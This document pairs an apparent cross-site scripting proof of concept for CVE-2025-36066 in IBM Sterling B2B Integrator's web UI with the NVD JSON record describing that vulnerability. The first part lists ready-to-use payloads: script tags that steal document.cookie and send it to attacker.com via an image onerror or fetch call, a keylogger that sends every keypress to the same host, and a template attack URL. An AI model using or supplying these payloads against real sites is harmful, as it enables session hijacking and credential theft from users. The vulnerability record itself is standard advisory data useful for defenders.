CVE-2025-36066

<!-- CVE-2025-36066 XSS PoC --> <!-- IBM Sterling B2B Integrator Web UI XSS Exploit --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Cookie Stealing Payload --> <img src=x onerror="this.src='http://attacker.com/steal?c='+document.cookie"> <!-- Session Hijacking Payload --> <script> fetch('http://attacker.com/log?data='+btoa(document.cookie)); </script> <!-- Keylogger Payload --> <script> document.addEventListener('keypress', function(e) { fetch('http://attacker.com/log?k='+e.key); }); </script> <!-- Example Attack URL --> <!-- https://target-host/sterling-ui/path?param=<script>alert(document.cookie)</script> -->

{"cve": {"id": "CVE-2025-36066", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.383", "lastModified": "2026-02-03T21:57:24.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0 5.2.0.00 through 5.2.0.12 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}, {"lang": "es", "value": "IBM Sterling Connect:Express Adapter para Sterling B2B Integrator 5.2.0 5.2.0.00 hasta 5.2.0.12 es vulnerable a cross-site scripting. Esta vulnerabilidad permite a un atacante no autenticado incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista y lo que podría llevar a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_connect\\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0.00", "versionEndExcluding": "5.2.0.13", "matchCriteriaId": "9FAC986A-388C-48CB-9717-817B108C98F7"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257244", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}